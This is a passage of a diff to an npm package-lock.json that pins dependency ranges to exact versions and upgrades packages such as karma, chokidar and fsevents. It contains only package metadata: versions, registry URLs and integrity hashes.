"sha512-M4Sjn6N/+O6/IXSJseKqHoFc+5FdGJ22sXqnjTpdZweHK64MzEPAyQZyEU3R/KRv2GLoa7nNtg/C2Ev6m7z+eA==", + "dev": true + }, + "is-absolute-url": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz", + "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==", "dev": true }, "is-accessor-descriptor": { @@ -7944,9 +8627,15 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, + "is-arguments": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.0.4.tgz", + "integrity": "sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==", + "dev": true + }, "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", @@ -7958,7 +8647,7 @@ "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", "dev": true, "requires": { - "binary-extensions": "^1.0.0" + "binary-extensions": "1.9.0" } }, "is-buffer": { @@ -7972,7 +8661,7 @@ "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", "requires": { - "builtin-modules": "^1.0.0" + "builtin-modules": "1.1.1" } }, "is-callable": { @@ -7987,7 +8676,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "is-date-object": { @@ -8002,9 +8691,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" }, "dependencies": { "kind-of": { @@ -8015,11 +8704,6 @@ } } }, - "is-directory": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", - "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=" - }, "is-dotfile": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", @@ -8034,13 +8718,14 @@ "dev": true, "optional": true, "requires": { - "is-primitive": "^2.0.0" + "is-primitive": "2.0.0" } }, "is-extendable": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", + "dev": true }, "is-extglob": { "version": "1.0.0", @@ -8053,7 +8738,7 @@ "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "is-fullwidth-code-point": { @@ -8067,7 +8752,7 @@ "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, "requires": { - "is-extglob": "^1.0.0" + "is-extglob": "1.0.0" } }, "is-number": { @@ -8077,31 +8762,31 @@ "dev": true, "optional": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "is-path-cwd": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz", - "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", "dev": true }, "is-path-in-cwd": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", - "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz", + "integrity": "sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==", "dev": true, "requires": { - "is-path-inside": "^1.0.0" + "is-path-inside": "2.1.0" } }, "is-path-inside": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", - "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-2.1.0.tgz", + "integrity": "sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==", "dev": true, "requires": { - "path-is-inside": "^1.0.1" + "path-is-inside": "1.0.2" } }, "is-plain-object": { @@ -8109,7 +8794,7 @@ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", "requires": { - "isobject": "^3.0.1" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -8144,15 +8829,9 @@ "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "requires": { - "has": "^1.0.1" + "has": "1.0.3" } }, - "is-resolvable": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", - "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", - "dev": true - }, "is-stream": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", @@ -8197,7 +8876,7 @@ "integrity": "sha512-8cJBL5tTd2OS0dM4jz07wQd5g0dCCqIhUxPIGtZfa5L6hWlvV5MHTITy/DBAsF+Oe2LS1X3krBUhNwaGUWpWxw==", "dev": true, "requires": { - "buffer-alloc": "^1.2.0" + "buffer-alloc": "1.2.0" } }, "isexe": { @@ -8229,8 +8908,8 @@ "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", "requires": { - "node-fetch": "^1.0.1", - "whatwg-fetch": ">=0.10.0" + "node-fetch": "1.7.3", + "whatwg-fetch": "3.0.0" } }, "isstream": { @@ -8244,20 +8923,20 @@ "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=", "dev": true, "requires": { - "abbrev": "1.0.x", - "async": "1.x", - "escodegen": "1.8.x", - "esprima": "2.7.x", - "glob": "^5.0.15", - "handlebars": "^4.0.1", - "js-yaml": "3.x", - "mkdirp": "0.5.x", - "nopt": "3.x", - "once": "1.x", - "resolve": "1.1.x", - "supports-color": "^3.1.0", - "which": "^1.1.1", - "wordwrap": "^1.0.0" + "abbrev": "1.0.9", + "async": "1.5.2", + "escodegen": "1.8.1", + "esprima": "2.7.3", + "glob": "5.0.15", + "handlebars": "4.0.11", + "js-yaml": "3.7.0", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "once": "1.4.0", + "resolve": "1.1.7", + "supports-color": "3.2.3", + "which": "1.3.0", + "wordwrap": "1.0.0" }, "dependencies": { "glob": { @@ -8266,11 +8945,11 @@ "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", "dev": true, "requires": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "resolve": { @@ -8285,7 +8964,7 @@ "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", "dev": true, "requires": { - "has-flag": "^1.0.0" + "has-flag": "1.0.0" } } } @@ -8295,11 +8974,6 @@ "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz", "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw==" }, - "js-file-download": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz", - "integrity": "sha512-lH75hwOMBkIDqIyAWgSYwkMa+YkBu/ATJf2rEXnC1TmHCCHmLNG/NFhZ6R4tipnH2v0EvLOhGlARc0vyS1j0mA==" - }, "js-tokens": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", @@ -8311,8 +8985,8 @@ "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", "dev": true, "requires": { - "argparse": "^1.0.7", - "esprima": "^2.6.0" + "argparse": "1.0.9", + "esprima": "2.7.3" } }, "jsbn": { @@ -8345,7 +9019,8 @@ "json-schema-traverse": { "version": "0.3.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", - "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=" + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true }, "json-stable-stringify-without-jsonify": { "version": "1.0.1", @@ -8359,9 +9034,9 @@ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "json3": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.2.tgz", - "integrity": "sha1-PAQ0dD35Pi9cQq7nsZvLSDV19OE=", + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.3.tgz", + "integrity": "sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA==", "dev": true }, "json5": { @@ -8376,7 +9051,7 @@ "integrity": "sha1-NzaitCi4e72gzIO1P6PWM6NcKug=", "dev": true, "requires": { - "graceful-fs": "^4.1.6" + "graceful-fs": "4.1.11" } }, "jsprim": { @@ -8391,12 +9066,13 @@ } }, "jsx-ast-utils": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.0.1.tgz", - "integrity": "sha1-6AGxs5mF4g//yHtA43SAgOLcrH8=", + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz", + "integrity": "sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==", "dev": true, "requires": { - "array-includes": "^3.0.3" + "array-includes": "3.0.3", + "object.assign": "4.1.0" } }, "jwt-decode": { @@ -8405,38 +9081,39 @@ "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" }, "karma": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/karma/-/karma-3.0.0.tgz", - "integrity": "sha512-ZTjyuDXVXhXsvJ1E4CnZzbCjSxD6sEdzEsFYogLuZM0yqvg/mgz+O+R1jb0J7uAQeuzdY8kJgx6hSNXLwFuHIQ==", + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/karma/-/karma-3.1.4.tgz", + "integrity": "sha512-31Vo8Qr5glN+dZEVIpnPCxEGleqE0EY6CtC2X9TagRV3rRQ3SNrvfhddICkJgUK3AgqpeKSZau03QumTGhGoSw==", "dev": true, "requires": { - "bluebird": "^3.3.0", - "body-parser": "^1.16.1", - "chokidar": "^2.0.3", - "colors": "^1.1.0", - "combine-lists": "^1.0.0", - "connect": "^3.6.0", - "core-js": "^2.2.0", - "di": "^0.0.1", - "dom-serialize": "^2.2.0", - "expand-braces": "^0.1.1", - "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "http-proxy": "^1.13.0", - "isbinaryfile": "^3.0.0", - "lodash": "^4.17.4", - "log4js": "^3.0.0", - "mime": "^2.3.1", - "minimatch": "^3.0.2", - "optimist": "^0.6.1", - "qjobs": "^1.1.4", - "range-parser": "^1.2.0", - "rimraf": "^2.6.0", - "safe-buffer": "^5.0.1", + "bluebird": "3.5.5", + "body-parser": "1.19.0", + "chokidar": "2.1.8", + "colors": "1.3.3", + "combine-lists": "1.0.1", + "connect": "3.7.0", + "core-js": "2.6.10", + "di": "0.0.1", + "dom-serialize": "2.2.1", + "expand-braces": "0.1.2", + "flatted": "2.0.1", + "glob": "7.1.6", + "graceful-fs": "4.1.11", + "http-proxy": "1.18.0", + "isbinaryfile": "3.0.3", + "lodash": "4.17.10", + "log4js": "3.0.6", + "mime": "2.3.1", + "minimatch": "3.0.4", + "optimist": "0.6.1", + "qjobs": "1.2.0", + "range-parser": "1.2.0", + "rimraf": "2.7.1", + "safe-buffer": "5.1.1", "socket.io": "2.1.1", - "source-map": "^0.6.1", + "source-map": "0.6.1", "tmp": "0.0.33", - "useragent": "2.2.1" + "useragent": "2.3.0" }, "dependencies": { "anymatch": { @@ -8445,8 +9122,19 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "1.0.2" + } + } } }, "arr-diff": { @@ -8467,16 +9155,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -8485,30 +9173,29 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "chokidar": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", - "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.9", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.1", + "normalize-path": "3.0.0", + "path-is-absolute": "1.0.1", + "readdirp": "2.2.1", + "upath": "1.2.0" } }, "expand-brackets": { @@ -8517,13 +9204,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -8532,7 +9219,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -8541,7 +9228,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -8550,7 +9237,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -8559,7 +9246,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -8570,7 +9257,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -8579,7 +9266,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -8590,9 +9277,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -8609,14 +9296,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -8625,7 +9312,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -8634,7 +9321,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -8645,10 +9332,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -8657,20 +9344,20 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "fsevents": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", - "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz", + "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==", "dev": true, "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.14.0", + "node-pre-gyp": "0.12.0" }, "dependencies": { "abbrev": { @@ -8691,13 +9378,13 @@ "optional": true }, "are-we-there-yet": { - "version": "1.1.4", + "version": "1.1.5", "bundled": true, "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { @@ -8710,12 +9397,12 @@ "bundled": true, "dev": true, "requires": { - "balanced-match": "^1.0.0", + "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, "chownr": { - "version": "1.0.1", + "version": "1.1.1", "bundled": true, "dev": true, "optional": true @@ -8742,16 +9429,16 @@ "optional": true }, "debug": { - "version": "2.6.9", + "version": "4.1.1", "bundled": true, "dev": true, "optional": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.1" } }, "deep-extend": { - "version": "0.5.1", + "version": "0.6.0", "bundled": true, "dev": true, "optional": true @@ -8774,7 +9461,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.5" } }, "fs.realpath": { @@ -8789,28 +9476,28 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.3" } }, "glob": { - "version": "7.1.2", + "version": "7.1.3", "bundled": true, "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -8820,12 +9507,12 @@ "optional": true }, "iconv-lite": { - "version": "0.4.21", + "version": "0.4.24", "bundled": true, "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -8834,7 +9521,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "^3.0.4" + "minimatch": "3.0.4" } }, "inflight": { @@ -8843,8 +9530,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -8863,7 +9550,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -8877,7 +9564,7 @@ "bundled": true, "dev": true, "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.11" } }, "minimist": { @@ -8886,21 +9573,21 @@ "dev": true }, "minipass": { - "version": "2.2.4", + "version": "2.3.5", "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "minizlib": { - "version": "1.1.0", + "version": "1.2.1", "bundled": true, "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.5" } }, "mkdirp": { @@ -8912,38 +9599,38 @@ } }, "ms": { - "version": "2.0.0", + "version": "2.1.1", "bundled": true, "dev": true, "optional": true }, "needle": { - "version": "2.2.0", + "version": "2.3.0", "bundled": true, "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "4.1.1", + "iconv-lite": "0.4.24", + "sax": "1.2.4" } }, "node-pre-gyp": { - "version": "0.10.0", + "version": "0.12.0", "bundled": true, "dev": true, "optional": true, "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.3.0", + "nopt": "4.0.1", + "npm-packlist": "1.4.1", + "npmlog": "4.1.2", + "rc": "1.2.8", + "rimraf": "2.6.3", + "semver": "5.7.0", + "tar": "4.4.8" } }, "nopt": { @@ -8952,24 +9639,24 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { - "version": "1.0.3", + "version": "1.0.6", "bundled": true, "dev": true, "optional": true }, "npm-packlist": { - "version": "1.1.10", + "version": "1.4.1", "bundled": true, "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.6" } }, "npmlog": { @@ -8978,10 +9665,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.5", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -9000,7 +9687,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -9021,8 +9708,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -9038,15 +9725,15 @@ "optional": true }, "rc": { - "version": "1.2.7", + "version": "1.2.8", "bundled": true, "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.6.0", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -9063,26 +9750,26 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { - "version": "2.6.2", + "version": "2.6.3", "bundled": true, "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.3" } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true, "dev": true }, @@ -9099,7 +9786,7 @@ "optional": true }, "semver": { - "version": "5.5.0", + "version": "5.7.0", "bundled": true, "dev": true, "optional": true @@ -9121,9 +9808,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -9132,7 +9819,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.2" } }, "strip-ansi": { @@ -9140,7 